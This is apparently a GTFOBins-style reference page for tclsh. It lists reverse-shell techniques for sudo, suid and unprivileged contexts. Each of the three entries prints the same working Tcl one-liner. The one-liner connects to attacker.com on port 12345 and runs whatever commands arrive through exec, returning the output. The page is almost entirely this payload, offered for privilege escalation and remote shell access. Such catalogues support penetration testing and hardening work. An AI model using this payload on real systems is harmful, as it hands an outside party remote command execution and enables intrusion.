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GTFO · Tool

tclsh

10 techniques Linux · macOSGTFOBins GPL-3.0

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
tclsh
set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
tclsh
set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;
Context
suid
Native
reverse-shell

reverse-shell

Reverse/Bind Shell LinuxmacOS
tclsh
set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;
Context
unprivileged
Native
reverse-shell